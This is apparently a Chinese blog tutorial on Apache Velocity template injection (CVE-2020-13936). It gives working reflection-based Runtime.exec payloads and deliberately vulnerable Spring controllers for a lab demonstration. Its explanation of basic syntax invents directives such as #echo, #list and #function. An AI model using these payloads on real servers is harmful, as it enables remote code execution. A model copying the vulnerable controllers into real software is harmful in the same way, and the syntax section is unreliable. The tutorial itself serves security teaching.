Java安全之Velocity模板注入漏洞

简介: Java安全之Velocity模板注入漏洞

在前面两篇文章已经提到过FreeMarker,Thymeleaf 模板注入了内容,这篇是最后一篇。

什么是 Velocity

Velocity 模板是一种用于快速开发 Web 应用程序的模板引擎。它允许开发人员使用自然语言和简单的语法来描述 Web 应用程序的 UI 和业务逻辑,从而提高开发效率和代码质量。

在 Velocity 中,开发人员可以使用模板文件来定义 Web 应用程序的用户界面和业务逻辑。这些模板文件通常使用 Velocity 语法进行描述,例如变量、条件语句、循环等。

Velocity 模板引擎使用一些内置的上下文对象,例如 $velocityContext$templateLoader$templateResolver。这些对象允许开发人员在模板中使用变量、加载模板文件和解析表达式等操作。

以下是一个简单的 Velocity 模板示例,该模板将两个数字相加并将结果打印到屏幕上:

#set ($result = $num1 + $num2)           
#echo $result

在这个示例中,$num1$num2 是模板中的变量,它们将被编译成 Java 类的常量。$result 是模板中的输出变量,它将被编译成 Java 类的返回值。在模板中,可以使用 #set 指令将变量赋值给另一个变量,并使用 #echo 指令将结果输出到屏幕上。

Velocity 模板引擎还支持使用通配符和条件语句。例如,以下模板示例将根据用户输入的年份计算平均数并将结果打印到屏幕上:

#if ($year != null)  
    #set ($avg = $year / 4)  
#else  
    #set ($avg = 0)  
#end  
#echo $avg  

在这个示例中,如果 $year 不为 null,则使用 #set 指令将其除以 4,并将结果存储在 $avg 变量中。如果 $yearnull,则使用 #set 指令将其存储在 $avg 变量中,并将其初始化为 0。在模板中,可以使用 #if#else 指令来处理条件语句。

Velocity 模板页面

一个基础的基于 VTL 的模板文件页面

<html>
<body>
#set( $foo = "Velocity" )
Hello $foo World!
</body>
<html>   

基础命令

1.#set:用于将变量赋值给另一个变量。例如,以下命令将 $x 的值设置为 2000:

#set ($x = 2000)

2.#list:用于列出变量的值。例如,以下命令将 $x$y 的值列出:

#list ($x, $y)

3.#if:用于处理条件语句。如果条件为真,则模板将输出条件语句的值,否则输出空文本。例如,以下命令将输出 truefalse:

#if ($x > 10)               
  true               
#else               
  false               
#end

4.#else:用于处理条件语句的特殊情况。如果条件语句为真,则输出条件语句的值,否则输出空文本。例如,以下命令将输出 truefalse:

#if ($x > 10)               
  true               
#else               
  false               
#end

5.#foreach:用于处理循环。循环可以遍历数组、对象或字符串。例如,以下命令将遍历 $x 数组并输出每个元素的值:

#foreach ($x in $xs)               
  $x               
#end

6.#echo:用于输出模板中的文本。例如,以下命令将输出 Hello, World!:

#echo "Hello, World!"

7.#function:用于定义自定义函数。自定义函数可以处理数据,并在模板中使用。例如,以下命令定义了一个自定义函数 myFunction:

#function myFunction($x)               
  echo $x               
#end

8.#include:用于加载模板文件。例如,以下命令将加载名为 index.vm 的模板文件:

#include "index.vm"

set 指令攻击语句

第一种

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime                
",null).invoke(null,null).exec("open -a calculator")

上述代码,通过set设置一个变量e,然后通过e,反射调用Runtime这个class,然后获取getRuntime中的exec函数,执行弹计算器的指令。

第二种

#set($s='')##                
#set($runtime = $x.class.forName('java.lang.Runtime'))##                
#set($char = $x.class.forName('java.lang.Character'))##                
#set($str = $x.class.forName('java.lang.String'))##                
#set($cmd=$rt.getRuntime().exec('id'))##                
$ex.waitFor()                
#set($out=$cmd.getInputStream())##                
#foreach( $i in                
[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

上述代码,反射加载三个方法,然后获取id执行后的字符流,然后作为字符串输出。

第三种

#set ($e="exp")                
#set                
($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).i                
nvoke(null,null).exec($cmd))                
#set                
($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream"                
).invoke($a))                
#set($sc = $e.getClass().forName("java.util.Scanner"))                
#set($constructor =                
$sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))                
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))                
#if($scan.hasNext())                
$scan.next()                
#end

首先,代码创建一个变量 $e 并将其设置为字符串 "exp"。接下来,代码调用 Java 反射 API 来获取 Runtime 类的一个方法,并使用 exec 方法执行 $cmd 变量中 存储的命令。这个命令的输出将被保存在变量 $input 中然后,代码使用 Java 反射 API 获取 Scanner 类和其构造函数,以及使用 $input 变量创建 Scanner 对 象。该对象的 useDelimiter 方法设置了输入流的分隔符。最后,代码检查 Scanner 对象是否有下一个输入行。如果有,它将输出该行。否则,什么也不会发生。

Velocity注入漏洞

CVE-2020-13936

能够修改 Velocity 模板的攻击者可能会以与运行 Servlet 容器的帐户相同的权限执行任意Java代码或运 行任意系统命令。这适用于允许不受信任的用户上传/修改运行 Apache Velocity Engine 版本高达 2.2 的 Velocity 模板的应用程序。

简单说,Velocity 小于等于 2.2 版本存在模板注入漏洞。

搭建环境

640.png

然后在pom中加入依赖

<dependency>                
  <groupId>org.apache.velocitygroupId>                  
  <artifactId>velocityartifactId>                    
  <version>1.7version>                      
dependency>

创建一个漏洞代码 exp

package com.example.demo;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import java.io.StringWriter;
@Controller
public class exp {
    @GetMapping("/ssti")
    public void velocity(String template) {
        Velocity.init();
        VelocityContext context = new VelocityContext();
        context.put("name", "lisi");
        StringWriter swOut = new StringWriter();
        Velocity.evaluate(context, swOut, "test", template);
    }
}

创建一个控制器,映射uri为ssti;

创建一个 Velocity 上下文对象,添加一个lisi变量到上下文中;

并将上下 文对象和一个名为 "test" 的模板名称传递给 Velocity.evaluate() 方法;

然后写入StringWriter对象中。

漏洞触发点

evaluate函数

61行中:

writer :输出结果的写入器,用于将生成的结果写入到指定位置。

context :上下文数据,即用于替换模板中占位符的数据。

logTag :日志标签,用于在日志中区分不同的 evaluate 调用。

instring :待处理的 Velocity 模板字符串。

运行代码,触发漏洞代码,payload需要把# “ 进行url编码

%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod                  
(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20calculator%22)

640.png    

merge 触发

 template :待处理的 Velocity 模板。

context :上下文数据,即用于替换模板中占位符的数据。

writer :输出结果的写入器,用于将生成的结果写入到指定位置。

创建对应的code

package com.example.demo;                  
import org.apache.velocity.VelocityContext;                  
import org.apache.velocity.runtime.RuntimeServices;                  
import org.apache.velocity.runtime.RuntimeSingleton;                  
import org.apache.velocity.runtime.parser.ParseException;                  
import org.apache.velocity.runtime.parser.node.SimpleNode;                  
import org.springframework.stereotype.Controller;                  
import org.springframework.web.bind.annotation.RequestMapping;                  
import org.springframework.web.bind.annotation.RequestParam;                  
import org.springframework.web.bind.annotation.ResponseBody;                  
import org.apache.velocity.Template;                  
import java.io.IOException;                  
import java.io.StringReader;                  
import java.io.StringWriter;                  
import java.nio.file.Files;                  
import java.nio.file.Paths;                  
@Controller                  
public class MergeDemo {                  
    @RequestMapping("/ssti/velocity2")                  
    @ResponseBody                  
    public String velocity2(@RequestParam("test") String username) throws IOException, ParseException {                  
        String templateString = new String(Files.readAllBytes(Paths.get("template.vm")));                  
        templateString = templateString.replace("", username);                  
        StringReader reader = new StringReader(templateString);                  
        VelocityContext ctx = new VelocityContext();                  
        ctx.put("name", "lisi");                  
        ctx.put("phone", "111222");                  
        ctx.put("email", "123@qq.com");                  
        StringWriter out = new StringWriter();                  
        Template template = new Template();                  
        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();                  
        SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));                  
        template.setRuntimeServices(runtimeServices);                  
        template.setData(node);                  
        template.initDocument();                  
        template.merge(ctx, out);                  
        return out.toString();                  
    }                  
}

从指定路径读取模板文件,如果模板文件中带有攻击载荷语句,即可通过 template.merge 渲染触发模 板注入漏洞。所以我们需要修改vm渲染文件。

假设我们到了后台,有模板修改的功能,那我们便可修改vm文件来进行攻击。

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a calculator")

640.png

然后启动项目,因为这里需要传递参数

http://127.0.0.1:8080/ssti/velocity2?test=lisi

merge() 方法是将模板和数据合并,生成一个文本输出。它需要一个 VelocityContext 对象作为参数, 用于存储数据,并将数据与模板合并,生成输出。

evaluate() 方法也是将模板和数据合并,生成一个文本输出,但是它返回的是一个布尔值,表示模板是 否成功执行。

evaluate() 方法通常用于执行带有条件的模板。

漏洞修复

升级高版本。

相关文章
|
11天前
|
搜索推荐 Java 数据库连接
Java|在 IDEA 里自动生成 MyBatis 模板代码
基于 MyBatis 开发的项目,新增数据库表以后,总是需要编写对应的 Entity、Mapper 和 Service 等等 Class 的代码,这些都是重复的工作,我们可以想一些办法来自动生成这些代码。
20 6
|
11天前
|
Java 程序员 测试技术
Java|让 JUnit4 测试类自动注入 logger 和被测 Service
本文介绍如何通过自定义 IDEA 的 JUnit4 Test Class 模板,实现生成测试类时自动注入 logger 和被测 Service。
18 5
|
24天前
|
算法 Java Linux
java制作海报四:java BufferedImage 转 InputStream 上传至OSS。png 图片合成到模板(另一个图片)上时,透明部分变成了黑色
这篇文章主要介绍了如何将Java中的BufferedImage对象转换为InputStream以上传至OSS,并解决了png图片合成时透明部分变黑的问题。
44 1
|
1月前
|
安全 Java Android开发
JavaWeb解压缩漏洞之ZipSlip与Zip炸弹
JavaWeb解压缩漏洞之ZipSlip与Zip炸弹
34 5
|
29天前
|
Java
Java PDF模板生成PDF
Java PDF模板生成PDF
28 1
|
30天前
|
安全 Java 编译器
Java 泛型深入解析:类型安全与灵活性的平衡
Java 泛型通过参数化类型实现了代码重用和类型安全,提升了代码的可读性和灵活性。本文深入探讨了泛型的基本原理、常见用法及局限性,包括泛型类、方法和接口的使用,以及上界和下界通配符等高级特性。通过理解和运用这些技巧,开发者可以编写更健壮和通用的代码。
|
25天前
|
安全 Java Python
基于python-django的Java网站全站漏洞检测系统
基于python-django的Java网站全站漏洞检测系统
29 0
|
29天前
|
小程序
java--微信小程序发送模板消息
java--微信小程序发送模板消息
81 0
|
9天前
|
监控 安全 Java
在 Java 中使用线程池监控以及动态调整线程池时需要注意什么?
【10月更文挑战第22天】在进行线程池的监控和动态调整时,要综合考虑多方面的因素,谨慎操作,以确保线程池能够高效、稳定地运行,满足业务的需求。
80 38
|
6天前
|
安全 Java
java 中 i++ 到底是否线程安全?
本文通过实例探讨了 `i++` 在多线程环境下的线程安全性问题。首先,使用 100 个线程分别执行 10000 次 `i++` 操作,发现最终结果小于预期的 1000000,证明 `i++` 是线程不安全的。接着,介绍了两种解决方法:使用 `synchronized` 关键字加锁和使用 `AtomicInteger` 类。其中,`AtomicInteger` 通过 `CAS` 操作实现了高效的线程安全。最后,通过分析字节码和源码,解释了 `i++` 为何线程不安全以及 `AtomicInteger` 如何保证线程安全。
java 中 i++ 到底是否线程安全?